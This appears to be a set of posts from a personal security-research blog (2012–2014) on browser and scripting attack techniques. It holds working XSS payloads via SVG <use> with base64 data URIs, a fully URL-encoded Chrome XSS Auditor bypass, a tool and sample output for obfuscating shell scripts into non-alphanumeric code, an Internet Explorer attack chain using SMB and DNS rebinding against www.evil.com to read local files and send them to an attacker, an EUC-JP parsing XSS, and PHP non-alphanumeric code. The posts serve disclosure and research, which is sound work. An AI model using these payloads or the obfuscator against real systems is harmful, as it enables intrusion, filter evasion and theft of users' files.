Wednesday, February 5, 2014

SVG Fun Time - Firefox SVG Vector + Bypassing Chrome XSS Auditor



I played around with SVG and the <use> element and found some interesting things, which I want to share. I do not know if anyone already posted some information about that. Let me know, if there is already information out there :)

======================
SVG - <use> element
======================

The <use> element is used in SVG to reuse other elements. It is mainly used in combination with <defs> and alike. However we are going to use it to reference elements in an external SVG file.
Elements are referenced by their id prepended with a '#' sign inside the xlink:href attribute of the <use> tag.
This needs to be done for external elements too.

Basically the structure looks like this:

test.html:
<svg>
<use xlink:href='external.svg#rectangle' />
</svg>

external.svg:
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>

The file external.svg starts with a <svg> tag with the id set to rectangle, which draws a rectangle by using the <rect> tag. It is possible to surround the <rect> element with a <a> tag, which creates a  Hyperlink. By using the JavaScript url scheme the click-able Hyperlink will execute JavaScript, when clicked.

Even if the SVG is loaded via a <use> tag, the JavaScript will be executed. It is important to note that it is only possible to load SVG files, which are residing on the same origin.
======================
FIREFOX
======================

Because it is mandatory that the loaded external SVG is same origin, this features seems not like a good XSS attack vector.
But Firefox really helps to improve this attack vector.
First of all, you can use the data: url scheme. It allows us to create a file internally, on the fly. It requires the correct mime-type, which is image/svg+xml. The mime-type is either followed by the payload or by the keyword base64. It specifies, that the data is base64 encoded, which helps avoiding problems breaking the HTML structure.
Now we do not have to rely on another file on the same server:

test.html:
<svg>
<use xlink:href="data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDo
vL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW
5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rI
iAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8
YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGx
vY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdG
g9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zd
mc+#rectangle" />
</svg>

Decoded base64 payload:
<svg id="rectangle" 
xmlns="http://www.w3.org/2000/svg" 
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>


Again the browser will display a black rectangle, which will alert the location when clicked.

But why bothering the victim to click anything. They never do what they should do ;).
<script> tags in external.svg are not parsed, but SVG supports the <foreignObject> element.
By specifying the required extensions attribute of this object, it is possible to load non SVG elements.
This means it is now possible to use <iframe>,<embed> and all the other supported HTML elements. We can try a bunch of elements to execute JavaScript.
I chose the <embed> tag + JavaScript URL scheme.


Assume the following SVG:
<svg id="rectangle"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">

<script>alert(1)</script>

<foreignObject width="100" height="50"
requiredExtensions="http://www.w3.org/1999/xhtml">

<embed xmlns="http://www.w3.org/1999/xhtml" 
src="javascript:alert(location)" />

</foreignObject>
</svg>

It will load via the <foreignObject> the embed tag, which uses a JavaScript URL scheme to execute JavaScript.
Again we base64 encode the payload to load it via the data: scheme.

test.html:
<svg>
<use xlink:href="data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD
ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs
aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW
5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3
JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i
NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW
RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x
OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH
A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i
amF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+DQ
ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+#rectangle" />
</svg>

In the case that test.html is opened in Firefox, it will alert the location.
So we have another vector in SVG to execute JavaScript :)

As a side not, the payload also contains a <script>alert(1)</script>, which should proof that <script> tags are not parsed.
 

======================
CHROME 
XSS Auditor Bypass
======================

Let us use this feature against Chrome. Chrome does not support the data: URL scheme inside the xlink:href attribute of the <use> tag.
Additionally I did not find a way to execute JavaScript without user interaction. 
But at least I can give you a Blink/Webkit XSS Auditor bypass with user interaction.
No Parameter Pollution is used and only one parameter is necessary. This is mentioned, because Blink/Webkit XSS Auditor does not catch XSS attacks, which are broken-up into two or more parameters.

Assume the following PHP script:
xss.php
<?php
echo "<body>";
echo $_GET['x'];
echo "</body>";
?>

The script is vulnerable to XSS.
But using a payload like 
http://vulnerabledoman.com/xss.php?x=<svg><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg> will trigger the XSS Auditor.
So let us use the <use> element!


======================
Creating the
SVG on the fly
======================

We want to load another external SVG file, so we begin with <svg><use xlink:href=
But wait, it has to be same origin and we can't use the data scheme. How do we get a file on the server?
It is simple, we use the XSS vulnerability twice in a row!

First we build the URL, which crafts the the SVG, which contains the Javascript URL scheme:
http://vulnerabledomain.com/xss.php?
x=<svg id="rectangle" 
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect class="blue" x="0" y="0" width="100" height="100" />
</a>
</svg>
If you paste this URL (with the correct ip;) into a browser, with no XSS filter, it will display the black rectangle again. But I already mentioned, that
XSS Chrome Auditor will catch this attack. Let us continue.

Now we are going to use the created SVG file (green URL) in the <use> element. The now crafted URL will look like this:
http://vulnerabledomain.com/xss.php?
x=<svg><use height=200 width=200
xlink:href='http://vulnerabledomain.com/xss.php
?x=<svg id="rectangle"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect class="blue" x="0" y="0" width="100" height="100"/>
</a></svg>#rectangle'/></svg>

Do not forget to url encode:
http://vulnerabledomain.com/xss.php?
x=%3Csvg%3E%3Cuse%20height=200%20width=200%20
xlink:href=%27http://vulnerabledomain.com/xss.php?
x=%3Csvg%20id%3D%22rectangle%22%20
xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20
xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20
%20%20%20width%3D%22100%22%20height%3D%22100%22%3E
%3Ca%20xlink%3Ahref%3D%22javascript%3Aalert%28location%29%22%3E
%3Crect%20class%3D%22blue%22%20x%3D%220%22%20
y%3D%220%22%20width%3D%22100%22
%20height%3D%22100%22%20%2F%3E
%3C%2Fa%3E
%3C%2Fsvg%3E%23rectangle%27/%3E%3C/svg%3E

This will display the rectangle again, which will alert when clicked, but this time without triggering the XSS Auditor :)
Hope you enjoyed my bypass.

Tuesday, November 12, 2013

Non Alpha Numeric Shellscript


Making your shell script non alpha numeric


Ever had the need to obfuscate your complete shellscript by using non alpha numeric code? Now there is a tool for that ;) 

I already wrote some time ago about how to start writing non alpha numeric shellscript, but this would not support shell internals like if statements etc. But some days ago I found out that there exists an eval in bash, which makes it possible to support shell internals.

The basic steps my script does are the following:
1. Get via Regex enough characters to build echo -e \0
2. Increase a counter
3. Concat the counter with echo -e \0 to create needed characters
4. Step 3 is repeated to get every character. 
5. create eval
6. concat all characters and pass them to eval

Take this shellscript as an example:
____________________________________________________________________

echo "Enter the password: ";
read test;
if [ $test == "correct" ]; then echo "You cracked it;)"; else echo "HAHA, wrong!"; fi

After processing it, it will look like this (abbreviated)



/????\+?????
__=$_
. .
___=$?
____=___
____=$[++____]
____=$[++____]
____=$[++____]
_____=${__:____:___}
_______=${__:___+___:___}
__=/?${_____}?
$__
__=$_
______=${__:___:___}
________=${__:___+___+___:___}
__=/?${_______}?${______}
$__
__=$_
_________=${__:___:___}
__________=${______}${________}${_________}${_______}" -"${______}" "\\$[___-___] ___=$[++___]
[..]
___=$[++___]
___________=${__________}$___;___________=$($___________)
___=$[++___]
____________=${__________}$___;____________=$($____________)
___=$[++___]
_____________=${__________}$___;_____________=$($_____________)
___=$[++___]
___=$[++___]
______________=${__________}$___;______________=$($______________)
___=$[++___]
[..]
___=$[++___]
_______________=${__________}$___;_______________=$($_______________)
___=$[++___]
___=$[++___]
___=$[++___]
________________=${__________}$___;________________=$($________________)
___=$[++___]
___=$[++___]
___=$[++___]
[..]
___=$[++___]
___=$[++___]
_________________=${__________}$___;_________________=$($_________________)
___=$[++___]
__________________=${__________}$___;__________________=$($__________________)
___=$[++___]
___=$[++___]
___________________=${__________}$___;___________________=$($___________________)
___=$[++___]
[..]
___=$[++___]
____________________=${__________}$___;____________________=$($____________________)
___=$[++___]
___=$[++___]
___=$[++___]
___=$[++___]
_____________________=${__________}$___;_____________________=$($_____________________)
___=$[++___]
___=$[++___]
___=$[++___]
___=$[++___]
___=$[++___]
______________________=${__________}$___;______________________=$($______________________)
___=$[++___]
___=$[++___]
[..]
___=$[++___]
___=$[++___]
_______________________=${__________}$___;_______________________=$($_______________________)
___=$[++___]
___=$[++___]
________________________=${__________}$___;________________________=$($________________________)
___=$[++___]
_________________________=${__________}$___;_________________________=$($_________________________)
___=$[++___]
__________________________=${__________}$___;__________________________=$($__________________________)
___=$[++___]
___=$[++___]
___=$[++___]
___=$[++___]
___=$[++___]
___=$[++___]
___________________________=${__________}$___;___________________________=$($___________________________)
___=$[++___]
___=$[++___]
____________________________=${__________}$___;____________________________=$($____________________________)
___=$[++___]
_____________________________=${__________}$___;_____________________________=$($_____________________________)
___=$[++___]
______________________________=${__________}$___;______________________________=$($______________________________)
___=$[++___]
_______________________________=${__________}$___;_______________________________=$($_______________________________)
___=$[++___]
________________________________=${__________}$___;________________________________=$($________________________________)
___=$[++___]
___=$[++___]
___=$[++___]
_________________________________=${__________}$___;_________________________________=$($_________________________________)
___=$[++___]
__________________________________=${__________}$___;__________________________________=$($__________________________________)
___=$[++___]
___=$[++___]
___________________________________=${__________}$___;___________________________________=$($___________________________________)
___=$[++___]
____________________________________=${__________}$___;____________________________________=$($____________________________________)
___=$[++___]
___=$[++___]
_____________________________________=${__________}$___;_____________________________________=$($_____________________________________)
___=$[++___]
______________________________________=${__________}$___;______________________________________=$($______________________________________)
___=$[++___]
___=$[++___]
___=$[++___]
_______________________________________=${__________}$___;_______________________________________=$($_______________________________________)
___=$[++___]
___=$[++___]
________________________________________=${__________}$___;________________________________________=$($________________________________________)
___=$[++___]
_________________________________________=${__________}$___;_________________________________________=$($_________________________________________)
___=$[++___]
__________________________________________=${__________}$___;__________________________________________=$($__________________________________________)
___=$[++___]
___________________________________________=${__________}$___;___________________________________________=$($___________________________________________)
___=$[++___]
____________________________________________=${__________}$___;____________________________________________=$($____________________________________________)
___=$[++___]
_____________________________________________=${__________}$___;_____________________________________________=$($_____________________________________________)
$______________________________$____________________________________________$___________________________$____________________________________ $($__________ $______________________________$____________________________$_________________________________$______________________________________$___________$_____________$_____________________$_____________________________________$__________________________________________$______________________________$________________________________________$___________$__________________________________________$_________________________________$______________________________$___________$_______________________________________$___________________________$_________________________________________$_________________________________________$_____________________________________________$______________________________________$________________________________________$_____________________________$_________________$___________$_____________$__________________$_________________________$_____________________________________$________________________________________$______________________________$___________________________$_____________________________$___________$__________________________________________$______________________________$_________________________________________$__________________________________________$__________________$_________________________$_____________________________________$__________________________________$_______________________________$___________$________________________$___________$______________$__________________________________________$______________________________$_________________________________________$__________________________________________$___________$___________________$___________________$___________$_____________$____________________________$______________________________________$________________________________________$________________________________________$______________________________$____________________________$__________________________________________$_____________$___________$__________________________$__________________$___________$__________________________________________$_________________________________$______________________________$_____________________________________$___________$______________________________$____________________________$_________________________________$______________________________________$___________$_____________$_______________________$______________________________________$___________________________________________$___________$____________________________$________________________________________$___________________________$____________________________$___________________________________$______________________________$_____________________________$___________$__________________________________$__________________________________________$__________________$_______________$_____________$__________________$___________$______________________________$____________________________________$_________________________________________$______________________________$___________$______________________________$____________________________$_________________________________$______________________________________$___________$_____________$______________________$____________________$______________________$____________________$________________$___________$_____________________________________________$________________________________________$______________________________________$_____________________________________$________________________________$____________$_____________$__________________$___________$_______________________________$__________________________________$_________________________$_____________________________________)



The usage is very simple:
python obfuscate.py <pathtoshellscript>

It will create a new file called nonalpha.sh
If you want to play around with it, get it here:

https://drive.google.com/open?id=1TTbgZ5zy5ykg-VxUmPl_HiBaj2tpaEN5











Friday, September 27, 2013

IE Intranet Zone - stealing local files



The idea to create this attack came to my mind, when I figured out that the Intranet Zone is allowed to iframe local files via UNC Syntax:

\\127.0.0.1\C$\localfile

If we know the location of a file, it could be possible to read it.

So lets start:


Getting into the Intranet Zone


!To be clear, the Intranet Zone only exists if your workstation is in a domain. That's why this attack only works in a corporate network.

The idea for this was taken from here click. Basically you can misuse websites, hosted on Top Level Domains, to achieve the effect of an Intranet Zone. There are websites on io or uz.
Misuse means we need to find a XSS hole in the site (which is not the problem ;). A second option is to buy a TLD, which costs 185 000$, so I sticked to XSS.
Additionally you have to remember, that Internet Explorer has a built in reflected XSS filter. Because I did not want to stop creating this attack because of a XSS filter, I tried to bypass it. I succeeded, but I am not going to publish the bypass until its fixed.
So by combining a XSS vulnerability and a website hosted on a TLD, I achieved intranet privileges. The next step introduces SMB.

!Important side notes:
Websites on a TLD will be forbidden:
http://www.icann.org/en/news/announcements/announcement-30aug13-en.htm


A website on a TLD is only resolvable in a corporate network, if the windows server is not the one resolving it. Windows DNS Server does not resolve A entries for TLD, the reason for this behavior is described here.

Additionally, do not iframe the intranet zone. If the victim visits your site like www.example.com, you must not load e.g. http://io in an iframe, use a popunder instead. If you iframe it, the attack will fail, because www.example.com (internet zone) has protected mode by default enabled and by iframing you apply protected mode to the intranet (even if it has protected mode disabled).


Next step: SMB

After getting script execution inside the intranet zone, all I have to do is load a html file from a smb share. 

The syntax to load a smb share is the following: \\<server>\<share>\<path>
So lets do this:
<iframe src=\\www.evil.com\C$\index.html></iframe>

This loads a file on a smb share, controlled by me. To be able to do this, the client needs to be allowed to create connections to port 445 in the internet.
The share needs to be named C$, because Internet Explorer uses the server name+share as the host to enforce the same origin policy. We will see later on why this is important.

DNS Rebinding is such a nice thing

The index.html is loaded and ready to attack. All it wants to do is loading an iframe:
<iframe src=\\www.evil.com\C$\Users\hans\Desktop\steal.txt></iframe>

But this time I do not want www.evil.com to point to a server in the internet, I want access to the local machine. To achieve this I am using DNS Rebinding. Normally DNS Rebinding is used to attack servers/routers in the LAN, by mapping the same domain name to a local ip address. I use it a little bit different:

After the index.html gets loaded, the firewall @www.evil.com blocks all TCP connections. Additionally the record for www.evil.com is changed from A 1.2.3.4 to CNAME localhost record.
If index.html now loads the iframe, which points to www.evil.com, the browser reuses the saved IP, and tries to connect to 1.2.3.4. Because all TCP connections are blocked, the browser drops the saved IP and initiate a new DNS request for www.evil.com. This behavior is called Anti-DNS Pinning.
The DNS server now response with the CNAME entry to localhost.
Now www.evil.com got rebinded to localhost, which is why the iframe now connects to the locale smb share C$ to load the path Users\hans\Desktop\steal.txt

To finish index.html can access the innerHTML of the loaded iframe, because the SOP is fulfilled.
The hostname is the same (www.evil.com) and the share name too (C$). Now it should be clear, why you must use C$ as the share name. After getting the innerHTML (the content of the file) it is really easy to send it via javascript to the attacker.

If you are familiar with DNS Rebinding you maybe wondering why I use a CNAME record instead of returning 127.0.0.1 for www.evil.com. The reason is, that it only works with the CNAME entry ;)
I think IE uses the hostname+username to connect to smb shares and hans@www.evil.com is not a valid user, but hans@localhost is.
One could ask me how I know the username in the path. I do not have to guess it, it gets transmitted in the SMB connection while loading the index.html file.

Protection & Improvements

To protect yourself you can either forbid port 445 to the internet (which you really should!!), or use the windows server as your main DNS server.
But the easiest way to protect you, is to enable protected mode for the intranet zone.
If you do not block port 445, I should mention the information posted here. The same thing happens during this attack, while loading the index.html from www.evil.com.

The improvements: I tried to implement this attack by using WebDav(Port 80). It uses the exact same syntax as SMB shares, so the SOP would make no problem. But if the index.html gets loaded via WebDav, the access to local files fails. It could be that IE is "smart" and uses the same port again, which means it tries to connect to localhost\C$ via WebDav too. I am still working on this issue.

Heres a Poc Video. You see that load.com loads a intranet side (the popunder does not work for me :(   ), which alerts the content of the local file. It takes so long, because the  is far frome being optimized.


See the PoC here

Thats it for you, the next attack will follow soon :)

















Friday, August 16, 2013

UXSS – Internet Explorer EUC-JP Parsing Bug


While I was using shazzer, one vector had a really weird result.

The vector was: <img src=x *chr*> onerror=alert(1)>;

The result said that in Internet Explorer 10, a certain character in the euc-jp charset consumed the >, which lead to the execution of the onerror event handler but viewing the test case resulted in no code execution.

After retesting the vector, there were either no results or different characters got detected, but still no test case worked.
I assumed that shazzer worked correctly, but certain parameters were different between show test case and the real fuzzing process.

After creating a little fuzzing script, I finally found out that a certain amount of characters have to be before the starter byte 0x8F. The document has to look like this (charset must be euc-jp):

4094 Bytes + 0x8F + characters that “disappears”. (4094+1 = 0xfff)

After knowing how to trigger the bug, I found out that not only > gets consumed, it seems like every char gets consumed. This is especially usefully to consume the “.

A vector could look like this: [4076*A]<img src="x" alt="[0x8F]" test=" onerror=alert(1)//">
Because the " will be consumed, the onerror event will execute.

This parsing bug enables XSS on websites, which use the euc-jp charset, to attack Internet Explorer users even when the site has no XSS vulnerability.

Reported: 27.5.2013
Fixed: 14.8.2013
CVE-2013-3192










Sunday, December 16, 2012

PHP Non Alpha Numeric 7/6 Chars

PHP  non alpha numeric 7 and 6 char code

If you don't know anything about php non alpha numeric code you should read Gareth Heys Tutorial first: Tutorial.

I used the following charset: $_=+();

As you can see only 7 chars.
In the end the function log will be created,because this won't exceed the memory limit. In the beginning I created the php function assert and it was 99 mb large php file, way too big to get executed.

Lets start

To begin with we need a way to get  a string. But how? To start with we can create numbers by increasing a non-existing variable:
$_=++$_+(++$_);$_=++$_+(++$_);

This will store the number 9 in $_. Ok, but with numbers we can't create any function name...

To Infinity and beyond

The simple trick is to count on to infinity, which will store the constant INF in $_. So the first big block of (++$_) is simple counting to infinity. But INF is a constant not a string, so we can't increase it. Now the alias _ for gettext helps. This function is nice, because it assumes that we meant the string INF and will pass it back to us. So the code will look like this $_=_($_)

Incrementing time

After storing the string "INF" in $_ we are able to increase the string with ++. Incrementing ZZZ will create the string AAAA so you are able to create any function you want (besides function names which are below INF like chr). To get the string LOG you have to increase the string 2055 times. Nice huh? :D To get a feeling for it, to create the string ASSERT to you have to increase it more than 20 Million times(which explains the 99mbs) :D

To sum up, you start counting to infinity, cast it to a string with the _ function and then you increment the string to the function name you want.

6 char vector  $_=+()

I tried to reduce the 7 char vector even more and I think I found a way.
It should be possible to make the whole vector a one liner, so the semicolon is not needed anymore.
The trick to achieve this is with the help of the + sign and parenthesis. It would look like this:

Count to Infinity:
++$_+(++$_)+(++$_)+(++$_)+.... +

Cast to string:
+ ($_=_($_)) + ...

Incrementing the string
+ ($_=++$_) + ($_=++$_) + .. ($_(12))

Because of the assigments the + won't trigger any errors. I created a 6 char vector to build the log function, but 600kb in one line trigger a memory exhausted error so I was not able to test the vector. But through testing it step by step I am pretty sure it works.

Here's the code for the 7 char vector, which outputs log(12). It is only 46KByte big, so even online codepads execute it.

$_+=$_+=$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
